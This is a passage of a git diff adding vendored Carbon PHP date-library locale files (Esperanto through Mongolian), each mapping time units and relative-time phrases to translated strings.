+ +return array( + 'year' => ':count jaro|:count jaroj', + 'y' => ':count jaro|:count jaroj', + 'month' => ':count monato|:count monatoj', + 'm' => ':count monato|:count monatoj', + 'week' => ':count semajno|:count semajnoj', + 'w' => ':count semajno|:count semajnoj', + 'day' => ':count tago|:count tagoj', + 'd' => ':count tago|:count tagoj', + 'hour' => ':count horo|:count horoj', + 'h' => ':count horo|:count horoj', + 'minute' => ':count minuto|:count minutoj', + 'min' => ':count minuto|:count minutoj', + 'second' => ':count sekundo|:count sekundoj', + 's' => ':count sekundo|:count sekundoj', + 'ago' => 'antaŭ :time', + 'from_now' => 'je :time', + 'after' => ':time poste', + 'before' => ':time antaŭe', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/es.php b/vendor/nesbot/carbon/src/Carbon/Lang/es.php new file mode 100644 index 00000000..567a280f --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/es.php @@ -0,0 +1,36 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count año|:count años', + 'y' => ':count año|:count años', + 'month' => ':count mes|:count meses', + 'm' => ':count mes|:count meses', + 'week' => ':count semana|:count semanas', + 'w' => ':count semana|:count semanas', + 'day' => ':count día|:count días', + 'd' => ':count día|:count días', + 'hour' => ':count hora|:count horas', + 'h' => ':count hora|:count horas', + 'minute' => ':count minuto|:count minutos', + 'min' => ':count minuto|:count minutos', + 'second' => ':count segundo|:count segundos', + 's' => ':count segundo|:count segundos', + 'ago' => 'hace :time', + 'from_now' => 'dentro de :time', + 'after' => ':time después', + 'before' => ':time antes', + 'diff_now' => 'ahora mismo', + 'diff_yesterday' => 'ayer', + 'diff_tomorrow' => 'mañana', + 'diff_before_yesterday' => 'antier', + 'diff_after_tomorrow' => 'pasado mañana', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/et.php b/vendor/nesbot/carbon/src/Carbon/Lang/et.php new file mode 100644 index 00000000..2d9291e0 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/et.php @@ -0,0 +1,38 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count aasta|:count aastat', + 'y' => ':count aasta|:count aastat', + 'month' => ':count kuu|:count kuud', + 'm' => ':count kuu|:count kuud', + 'week' => ':count nädal|:count nädalat', + 'w' => ':count nädal|:count nädalat', + 'day' => ':count päev|:count päeva', + 'd' => ':count päev|:count päeva', + 'hour' => ':count tund|:count tundi', + 'h' => ':count tund|:count tundi', + 'minute' => ':count minut|:count minutit', + 'min' => ':count minut|:count minutit', + 'second' => ':count sekund|:count sekundit', + 's' => ':count sekund|:count sekundit', + 'ago' => ':time tagasi', + 'from_now' => ':time pärast', + 'after' => ':time pärast', + 'before' => ':time enne', + 'year_from_now' => ':count aasta', + 'month_from_now' => ':count kuu', + 'week_from_now' => ':count nädala', + 'day_from_now' => ':count päeva', + 'hour_from_now' => ':count tunni', + 'minute_from_now' => ':count minuti', + 'second_from_now' => ':count sekundi', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/eu.php b/vendor/nesbot/carbon/src/Carbon/Lang/eu.php new file mode 100644 index 00000000..1cb6b7cd --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/eu.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => 'Urte 1|:count urte', + 'y' => 'Urte 1|:count urte', + 'month' => 'Hile 1|:count hile', + 'm' => 'Hile 1|:count hile', + 'week' => 'Aste 1|:count aste', + 'w' => 'Aste 1|:count aste', + 'day' => 'Egun 1|:count egun', + 'd' => 'Egun 1|:count egun', + 'hour' => 'Ordu 1|:count ordu', + 'h' => 'Ordu 1|:count ordu', + 'minute' => 'Minutu 1|:count minutu', + 'min' => 'Minutu 1|:count minutu', + 'second' => 'Segundu 1|:count segundu', + 's' => 'Segundu 1|:count segundu', + 'ago' => 'Orain dela :time', + 'from_now' => ':time barru', + 'after' => ':time geroago', + 'before' => ':time lehenago', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/fa.php b/vendor/nesbot/carbon/src/Carbon/Lang/fa.php new file mode 100644 index 00000000..31bec886 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/fa.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count سال', + 'y' => ':count سال', + 'month' => ':count ماه', + 'm' => ':count ماه', + 'week' => ':count هفته', + 'w' => ':count هفته', + 'day' => ':count روز', + 'd' => ':count روز', + 'hour' => ':count ساعت', + 'h' => ':count ساعت', + 'minute' => ':count دقیقه', + 'min' => ':count دقیقه', + 'second' => ':count ثانیه', + 's' => ':count ثانیه', + 'ago' => ':time پیش', + 'from_now' => ':time بعد', + 'after' => ':time پس از', + 'before' => ':time پیش از', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/fi.php b/vendor/nesbot/carbon/src/Carbon/Lang/fi.php new file mode 100644 index 00000000..48188044 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/fi.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count vuosi|:count vuotta', + 'y' => ':count vuosi|:count vuotta', + 'month' => ':count kuukausi|:count kuukautta', + 'm' => ':count kuukausi|:count kuukautta', + 'week' => ':count viikko|:count viikkoa', + 'w' => ':count viikko|:count viikkoa', + 'day' => ':count päivä|:count päivää', + 'd' => ':count päivä|:count päivää', + 'hour' => ':count tunti|:count tuntia', + 'h' => ':count tunti|:count tuntia', + 'minute' => ':count minuutti|:count minuuttia', + 'min' => ':count minuutti|:count minuuttia', + 'second' => ':count sekunti|:count sekuntia', + 's' => ':count sekunti|:count sekuntia', + 'ago' => ':time sitten', + 'from_now' => ':time tästä hetkestä', + 'after' => ':time sen jälkeen', + 'before' => ':time ennen', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/fo.php b/vendor/nesbot/carbon/src/Carbon/Lang/fo.php new file mode 100644 index 00000000..d91104b7 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/fo.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count ár|:count ár', + 'y' => ':count ár|:count ár', + 'month' => ':count mánaður|:count mánaðir', + 'm' => ':count mánaður|:count mánaðir', + 'week' => ':count vika|:count vikur', + 'w' => ':count vika|:count vikur', + 'day' => ':count dag|:count dagar', + 'd' => ':count dag|:count dagar', + 'hour' => ':count tími|:count tímar', + 'h' => ':count tími|:count tímar', + 'minute' => ':count minutt|:count minuttir', + 'min' => ':count minutt|:count minuttir', + 'second' => ':count sekund|:count sekundir', + 's' => ':count sekund|:count sekundir', + 'ago' => ':time síðan', + 'from_now' => 'um :time', + 'after' => ':time aftaná', + 'before' => ':time áðrenn', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/fr.php b/vendor/nesbot/carbon/src/Carbon/Lang/fr.php new file mode 100644 index 00000000..0b20cdd2 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/fr.php @@ -0,0 +1,40 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count an|:count ans', + 'y' => ':count an|:count ans', + 'month' => ':count mois', + 'm' => ':count mois', + 'week' => ':count semaine|:count semaines', + 'w' => ':count sem.', + 'day' => ':count jour|:count jours', + 'd' => ':count j.', + 'hour' => ':count heure|:count heures', + 'h' => ':count h.', + 'minute' => ':count minute|:count minutes', + 'min' => ':count min.', + 'second' => ':count seconde|:count secondes', + 's' => ':count sec.', + 'ago' => 'il y a :time', + 'from_now' => 'dans :time', + 'after' => ':time après', + 'before' => ':time avant', + 'diff_now' => "à l'instant", + 'diff_yesterday' => 'hier', + 'diff_tomorrow' => 'demain', + 'diff_before_yesterday' => 'avant-hier', + 'diff_after_tomorrow' => 'après-demain', + 'period_recurrences' => ':count fois', + 'period_interval' => 'tous les :interval', + 'period_start_date' => 'de :date', + 'period_end_date' => 'à :date', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/gl.php b/vendor/nesbot/carbon/src/Carbon/Lang/gl.php new file mode 100644 index 00000000..cd22a31e --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/gl.php @@ -0,0 +1,24 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count ano|:count anos', + 'month' => ':count mes|:count meses', + 'week' => ':count semana|:count semanas', + 'day' => ':count día|:count días', + 'hour' => ':count hora|:count horas', + 'minute' => ':count minuto|:count minutos', + 'second' => ':count segundo|:count segundos', + 'ago' => 'fai :time', + 'from_now' => 'dentro de :time', + 'after' => ':time despois', + 'before' => ':time antes', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/gu.php b/vendor/nesbot/carbon/src/Carbon/Lang/gu.php new file mode 100644 index 00000000..7759dfcb --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/gu.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count વર્ષ|:count વર્ષો', + 'y' => ':countવર્ષ|:countવર્ષો', + 'month' => ':count મહિનો|:count મહિના', + 'm' => ':countમહિનો|:countમહિના', + 'week' => ':count અઠવાડિયું|:count અઠવાડિયા', + 'w' => ':countઅઠ.|:countઅઠ.', + 'day' => ':count દિવસ|:count દિવસો', + 'd' => ':countદિ.|:countદિ.', + 'hour' => ':count કલાક|:count કલાકો', + 'h' => ':countક.|:countક.', + 'minute' => ':count મિનિટ|:count મિનિટ', + 'min' => ':countમિ.|:countમિ.', + 'second' => ':count સેકેન્ડ|:count સેકેન્ડ', + 's' => ':countસે.|:countસે.', + 'ago' => ':time પહેલા', + 'from_now' => ':time અત્યારથી', + 'after' => ':time પછી', + 'before' => ':time પહેલા', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/he.php b/vendor/nesbot/carbon/src/Carbon/Lang/he.php new file mode 100644 index 00000000..2d4f4f88 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/he.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => 'שנה|{2}שנתיים|:count שנים', + 'y' => 'שנה|{2}שנתיים|:count שנים', + 'month' => 'חודש|{2}חודשיים|:count חודשים', + 'm' => 'חודש|{2}חודשיים|:count חודשים', + 'week' => 'שבוע|{2}שבועיים|:count שבועות', + 'w' => 'שבוע|{2}שבועיים|:count שבועות', + 'day' => 'יום|{2}יומיים|:count ימים', + 'd' => 'יום|{2}יומיים|:count ימים', + 'hour' => 'שעה|{2}שעתיים|:count שעות', + 'h' => 'שעה|{2}שעתיים|:count שעות', + 'minute' => 'דקה|{2}דקותיים|:count דקות', + 'min' => 'דקה|{2}דקותיים|:count דקות', + 'second' => 'שניה|:count שניות', + 's' => 'שניה|:count שניות', + 'ago' => 'לפני :time', + 'from_now' => 'בעוד :time', + 'after' => 'אחרי :time', + 'before' => 'לפני :time', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/hi.php b/vendor/nesbot/carbon/src/Carbon/Lang/hi.php new file mode 100644 index 00000000..6c670ee8 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/hi.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => '1 वर्ष|:count वर्षों', + 'y' => '1 वर्ष|:count वर्षों', + 'month' => '1 माह|:count महीने', + 'm' => '1 माह|:count महीने', + 'week' => '1 सप्ताह|:count सप्ताह', + 'w' => '1 सप्ताह|:count सप्ताह', + 'day' => '1 दिन|:count दिनों', + 'd' => '1 दिन|:count दिनों', + 'hour' => '1 घंटा|:count घंटे', + 'h' => '1 घंटा|:count घंटे', + 'minute' => '1 मिनट|:count मिनटों', + 'min' => '1 मिनट|:count मिनटों', + 'second' => '1 सेकंड|:count सेकंड', + 's' => '1 सेकंड|:count सेकंड', + 'ago' => ':time पूर्व', + 'from_now' => ':time से', + 'after' => ':time के बाद', + 'before' => ':time के पहले', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/hr.php b/vendor/nesbot/carbon/src/Carbon/Lang/hr.php new file mode 100644 index 00000000..1a339de7 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/hr.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count godinu|:count godine|:count godina', + 'y' => ':count godinu|:count godine|:count godina', + 'month' => ':count mjesec|:count mjeseca|:count mjeseci', + 'm' => ':count mjesec|:count mjeseca|:count mjeseci', + 'week' => ':count tjedan|:count tjedna|:count tjedana', + 'w' => ':count tjedan|:count tjedna|:count tjedana', + 'day' => ':count dan|:count dana|:count dana', + 'd' => ':count dan|:count dana|:count dana', + 'hour' => ':count sat|:count sata|:count sati', + 'h' => ':count sat|:count sata|:count sati', + 'minute' => ':count minutu|:count minute |:count minuta', + 'min' => ':count minutu|:count minute |:count minuta', + 'second' => ':count sekundu|:count sekunde|:count sekundi', + 's' => ':count sekundu|:count sekunde|:count sekundi', + 'ago' => 'prije :time', + 'from_now' => 'za :time', + 'after' => 'za :time', + 'before' => 'prije :time', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/hu.php b/vendor/nesbot/carbon/src/Carbon/Lang/hu.php new file mode 100644 index 00000000..45daf41a --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/hu.php @@ -0,0 +1,52 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count év', + 'y' => ':count év', + 'month' => ':count hónap', + 'm' => ':count hónap', + 'week' => ':count hét', + 'w' => ':count hét', + 'day' => ':count nap', + 'd' => ':count nap', + 'hour' => ':count óra', + 'h' => ':count óra', + 'minute' => ':count perc', + 'min' => ':count perc', + 'second' => ':count másodperc', + 's' => ':count másodperc', + 'ago' => ':time', + 'from_now' => ':time múlva', + 'after' => ':time később', + 'before' => ':time korábban', + 'year_ago' => ':count éve', + 'month_ago' => ':count hónapja', + 'week_ago' => ':count hete', + 'day_ago' => ':count napja', + 'hour_ago' => ':count órája', + 'minute_ago' => ':count perce', + 'second_ago' => ':count másodperce', + 'year_after' => ':count évvel', + 'month_after' => ':count hónappal', + 'week_after' => ':count héttel', + 'day_after' => ':count nappal', + 'hour_after' => ':count órával', + 'minute_after' => ':count perccel', + 'second_after' => ':count másodperccel', + 'year_before' => ':count évvel', + 'month_before' => ':count hónappal', + 'week_before' => ':count héttel', + 'day_before' => ':count nappal', + 'hour_before' => ':count órával', + 'minute_before' => ':count perccel', + 'second_before' => ':count másodperccel', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/hy.php b/vendor/nesbot/carbon/src/Carbon/Lang/hy.php new file mode 100644 index 00000000..d2665f27 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/hy.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count տարի', + 'y' => ':countտ', + 'month' => ':count ամիս', + 'm' => ':countամ', + 'week' => ':count շաբաթ', + 'w' => ':countշ', + 'day' => ':count օր', + 'd' => ':countօր', + 'hour' => ':count ժամ', + 'h' => ':countժ', + 'minute' => ':count րոպե', + 'min' => ':countր', + 'second' => ':count վարկյան', + 's' => ':countվրկ', + 'ago' => ':time առաջ', + 'from_now' => ':time ներկա պահից', + 'after' => ':time հետո', + 'before' => ':time առաջ', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/id.php b/vendor/nesbot/carbon/src/Carbon/Lang/id.php new file mode 100644 index 00000000..7f7114fa --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/id.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count tahun', + 'y' => ':count tahun', + 'month' => ':count bulan', + 'm' => ':count bulan', + 'week' => ':count minggu', + 'w' => ':count minggu', + 'day' => ':count hari', + 'd' => ':count hari', + 'hour' => ':count jam', + 'h' => ':count jam', + 'minute' => ':count menit', + 'min' => ':count menit', + 'second' => ':count detik', + 's' => ':count detik', + 'ago' => ':time yang lalu', + 'from_now' => ':time dari sekarang', + 'after' => ':time setelah', + 'before' => ':time sebelum', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/is.php b/vendor/nesbot/carbon/src/Carbon/Lang/is.php new file mode 100644 index 00000000..94c76a7f --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/is.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => '1 ár|:count ár', + 'y' => '1 ár|:count ár', + 'month' => '1 mánuður|:count mánuðir', + 'm' => '1 mánuður|:count mánuðir', + 'week' => '1 vika|:count vikur', + 'w' => '1 vika|:count vikur', + 'day' => '1 dagur|:count dagar', + 'd' => '1 dagur|:count dagar', + 'hour' => '1 klukkutími|:count klukkutímar', + 'h' => '1 klukkutími|:count klukkutímar', + 'minute' => '1 mínúta|:count mínútur', + 'min' => '1 mínúta|:count mínútur', + 'second' => '1 sekúnda|:count sekúndur', + 's' => '1 sekúnda|:count sekúndur', + 'ago' => ':time síðan', + 'from_now' => ':time síðan', + 'after' => ':time eftir', + 'before' => ':time fyrir', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/it.php b/vendor/nesbot/carbon/src/Carbon/Lang/it.php new file mode 100644 index 00000000..70bc6d7b --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/it.php @@ -0,0 +1,36 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count anno|:count anni', + 'y' => ':count anno|:count anni', + 'month' => ':count mese|:count mesi', + 'm' => ':count mese|:count mesi', + 'week' => ':count settimana|:count settimane', + 'w' => ':count settimana|:count settimane', + 'day' => ':count giorno|:count giorni', + 'd' => ':count giorno|:count giorni', + 'hour' => ':count ora|:count ore', + 'h' => ':count ora|:count ore', + 'minute' => ':count minuto|:count minuti', + 'min' => ':count minuto|:count minuti', + 'second' => ':count secondo|:count secondi', + 's' => ':count secondo|:count secondi', + 'ago' => ':time fa', + 'from_now' => 'tra :time', + 'after' => ':time dopo', + 'before' => ':time prima', + 'diff_now' => 'proprio ora', + 'diff_yesterday' => 'ieri', + 'diff_tomorrow' => 'domani', + 'diff_before_yesterday' => "l'altro ieri", + 'diff_after_tomorrow' => 'dopodomani', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/ja.php b/vendor/nesbot/carbon/src/Carbon/Lang/ja.php new file mode 100644 index 00000000..71195475 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/ja.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count年', + 'y' => ':count年', + 'month' => ':countヶ月', + 'm' => ':countヶ月', + 'week' => ':count週間', + 'w' => ':count週間', + 'day' => ':count日', + 'd' => ':count日', + 'hour' => ':count時間', + 'h' => ':count時間', + 'minute' => ':count分', + 'min' => ':count分', + 'second' => ':count秒', + 's' => ':count秒', + 'ago' => ':time前', + 'from_now' => '今から:time', + 'after' => ':time後', + 'before' => ':time前', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/ka.php b/vendor/nesbot/carbon/src/Carbon/Lang/ka.php new file mode 100644 index 00000000..a8dde7eb --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/ka.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count წლის', + 'y' => ':count წლის', + 'month' => ':count თვის', + 'm' => ':count თვის', + 'week' => ':count კვირის', + 'w' => ':count კვირის', + 'day' => ':count დღის', + 'd' => ':count დღის', + 'hour' => ':count საათის', + 'h' => ':count საათის', + 'minute' => ':count წუთის', + 'min' => ':count წუთის', + 'second' => ':count წამის', + 's' => ':count წამის', + 'ago' => ':time უკან', + 'from_now' => ':time შემდეგ', + 'after' => ':time შემდეგ', + 'before' => ':time უკან', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/kk.php b/vendor/nesbot/carbon/src/Carbon/Lang/kk.php new file mode 100644 index 00000000..8d113afe --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/kk.php @@ -0,0 +1,29 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +return array( + 'year' => ':count жыл', + 'y' => ':count жыл', + 'month' => ':count ай', + 'm' => ':count ай', + 'week' => ':count апта', + 'w' => ':count апта', + 'day' => ':count күн', + 'd' => ':count күн', + 'hour' => ':count сағат', + 'h' => ':count сағат', + 'minute' => ':count минут', + 'min' => ':count минут', + 'second' => ':count секунд', + 's' => ':count секунд', + 'ago' => ':time бұрын', + 'from_now' => ':time кейін', + 'after' => ':time кейін', + 'before' => ':time бұрын', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/km.php b/vendor/nesbot/carbon/src/Carbon/Lang/km.php new file mode 100644 index 00000000..a104e06e --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/km.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count ឆ្នាំ', + 'y' => ':count ឆ្នាំ', + 'month' => ':count ខែ', + 'm' => ':count ខែ', + 'week' => ':count សប្ដាហ៍', + 'w' => ':count សប្ដាហ៍', + 'day' => ':count ថ្ងៃ', + 'd' => ':count ថ្ងៃ', + 'hour' => ':count ម៉ោង', + 'h' => ':count ម៉ោង', + 'minute' => ':count នាទី', + 'min' => ':count នាទី', + 'second' => ':count វិនាទី', + 's' => ':count វិនាទី', + 'ago' => ':timeមុន', + 'from_now' => ':timeពី​ឥឡូវ', + 'after' => 'នៅ​ក្រោយ :time', + 'before' => 'នៅ​មុន :time', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/ko.php b/vendor/nesbot/carbon/src/Carbon/Lang/ko.php new file mode 100644 index 00000000..02091644 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/ko.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count 년', + 'y' => ':count 년', + 'month' => ':count 개월', + 'm' => ':count 개월', + 'week' => ':count 주일', + 'w' => ':count 주일', + 'day' => ':count 일', + 'd' => ':count 일', + 'hour' => ':count 시간', + 'h' => ':count 시간', + 'minute' => ':count 분', + 'min' => ':count 분', + 'second' => ':count 초', + 's' => ':count 초', + 'ago' => ':time 전', + 'from_now' => ':time 후', + 'after' => ':time 이후', + 'before' => ':time 이전', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/lt.php b/vendor/nesbot/carbon/src/Carbon/Lang/lt.php new file mode 100644 index 00000000..3f2fd1ec --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/lt.php @@ -0,0 +1,38 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count metus|:count metus|:count metų', + 'y' => ':count metus|:count metus|:count metų', + 'month' => ':count mėnesį|:count mėnesius|:count mėnesių', + 'm' => ':count mėnesį|:count mėnesius|:count mėnesių', + 'week' => ':count savaitę|:count savaites|:count savaičių', + 'w' => ':count savaitę|:count savaites|:count savaičių', + 'day' => ':count dieną|:count dienas|:count dienų', + 'd' => ':count dieną|:count dienas|:count dienų', + 'hour' => ':count valandą|:count valandas|:count valandų', + 'h' => ':count valandą|:count valandas|:count valandų', + 'minute' => ':count minutę|:count minutes|:count minučių', + 'min' => ':count minutę|:count minutes|:count minučių', + 'second' => ':count sekundę|:count sekundes|:count sekundžių', + 's' => ':count sekundę|:count sekundes|:count sekundžių', + 'second_from_now' => ':count sekundės|:count sekundžių|:count sekundžių', + 'minute_from_now' => ':count minutės|:count minučių|:count minučių', + 'hour_from_now' => ':count valandos|:count valandų|:count valandų', + 'day_from_now' => ':count dienos|:count dienų|:count dienų', + 'week_from_now' => ':count savaitės|:count savaičių|:count savaičių', + 'month_from_now' => ':count mėnesio|:count mėnesių|:count mėnesių', + 'year_from_now' => ':count metų', + 'ago' => 'prieš :time', + 'from_now' => 'už :time', + 'after' => 'po :time', + 'before' => ':time nuo dabar', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/lv.php b/vendor/nesbot/carbon/src/Carbon/Lang/lv.php new file mode 100644 index 00000000..363193db --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/lv.php @@ -0,0 +1,47 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => '0 gadiem|:count gada|:count gadiem', + 'y' => '0 gadiem|:count gada|:count gadiem', + 'month' => '0 mēnešiem|:count mēneša|:count mēnešiem', + 'm' => '0 mēnešiem|:count mēneša|:count mēnešiem', + 'week' => '0 nedēļām|:count nedēļas|:count nedēļām', + 'w' => '0 nedēļām|:count nedēļas|:count nedēļām', + 'day' => '0 dienām|:count dienas|:count dienām', + 'd' => '0 dienām|:count dienas|:count dienām', + 'hour' => '0 stundām|:count stundas|:count stundām', + 'h' => '0 stundām|:count stundas|:count stundām', + 'minute' => '0 minūtēm|:count minūtes|:count minūtēm', + 'min' => '0 minūtēm|:count minūtes|:count minūtēm', + 'second' => '0 sekundēm|:count sekundes|:count sekundēm', + 's' => '0 sekundēm|:count sekundes|:count sekundēm', + 'ago' => 'pirms :time', + 'from_now' => 'pēc :time', + 'after' => ':time vēlāk', + 'before' => ':time pirms', + + 'year_after' => '0 gadus|:count gadu|:count gadus', + 'month_after' => '0 mēnešus|:count mēnesi|:count mēnešus', + 'week_after' => '0 nedēļas|:count nedēļu|:count nedēļas', + 'day_after' => '0 dienas|:count dienu|:count dienas', + 'hour_after' => '0 stundas|:count stundu|:count stundas', + 'minute_after' => '0 minūtes|:count minūti|:count minūtes', + 'second_after' => '0 sekundes|:count sekundi|:count sekundes', + + 'year_before' => '0 gadus|:count gadu|:count gadus', + 'month_before' => '0 mēnešus|:count mēnesi|:count mēnešus', + 'week_before' => '0 nedēļas|:count nedēļu|:count nedēļas', + 'day_before' => '0 dienas|:count dienu|:count dienas', + 'hour_before' => '0 stundas|:count stundu|:count stundas', + 'minute_before' => '0 minūtes|:count minūti|:count minūtes', + 'second_before' => '0 sekundes|:count sekundi|:count sekundes', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/mk.php b/vendor/nesbot/carbon/src/Carbon/Lang/mk.php new file mode 100644 index 00000000..c5ec12df --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/mk.php @@ -0,0 +1,24 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count година|:count години', + 'month' => ':count месец|:count месеци', + 'week' => ':count седмица|:count седмици', + 'day' => ':count ден|:count дена', + 'hour' => ':count час|:count часа', + 'minute' => ':count минута|:count минути', + 'second' => ':count секунда|:count секунди', + 'ago' => 'пред :time', + 'from_now' => ':time од сега', + 'after' => 'по :time', + 'before' => 'пред :time', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/mn.php b/vendor/nesbot/carbon/src/Carbon/Lang/mn.php new file mode 100644 index 00000000..b26dce55 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/mn.php @@ -0,0 +1,62 @@ + + * + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + * + * @translator Batmandakh Erdenebileg + */ + +return array( + 'year' => ':count жил', + 'y' => ':count жил', + 'month' => ':count сар', + 'm' => ':count сар', + 'week' => ':count долоо хоног', + 'w' => ':count долоо хоног', + 'day' => ':count өдөр', + 'd' => ':count өдөр', + 'hour' => ':count цаг', + 'h' => ':countц', + 'minute' => ':count минут', + 'min' => ':countм', + 'second' => ':count секунд', + 's' => ':countс', + + 'ago' => ':timeн өмнө', + 'year_ago' => ':count жилий', + 'month_ago' => ':count сары', + 'day_ago' => ':count хоногий', + 'hour_ago' => ':count цагий', + 'minute_ago' => ':count минуты', + 'second_ago' => ':count секунды', + + 'from_now' => 'одоогоос :time', + 'year_from_now' => ':count жилийн дараа', + 'month_from_now' => ':count сарын дараа', + 'day_from_now' => ':count хоногийн дараа', + 'hour_from_now' => ':count цагийн дараа', + 'minute_from_now' => ':count минутын дараа', + 'second_from_now' => ':count секундын дараа', + + // Does it required to make translation for before, after as follows? hmm, I think we've made it with ago and from now keywords already. Anyway, I've included it just in case of undesired action... + 'after' => ':timeн дараа', + 'year_after' => ':count жилий', + 'month_after' => ':count сары', + 'day_after' => ':count хоногий', + 'hour_after' => ':count цагий', + 'minute_after' => ':count минуты', + 'second_after' => ':count секунды', + 'before' => ':timeн өмнө', + 'year_before' => ':count жилий', + 'month_before' => ':count сары', + 'day_before' => ':count хоногий', + 'hour_before' => ':count цагий', + 'minute_before' => ':count минуты', + 'second_before' => ':count секунды', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/ms.php b/vendor/nesbot/carbon/src/Carbon/Lang/ms.php new file mode 100644 index 00000000..ef574228 --- /dev/null +++ 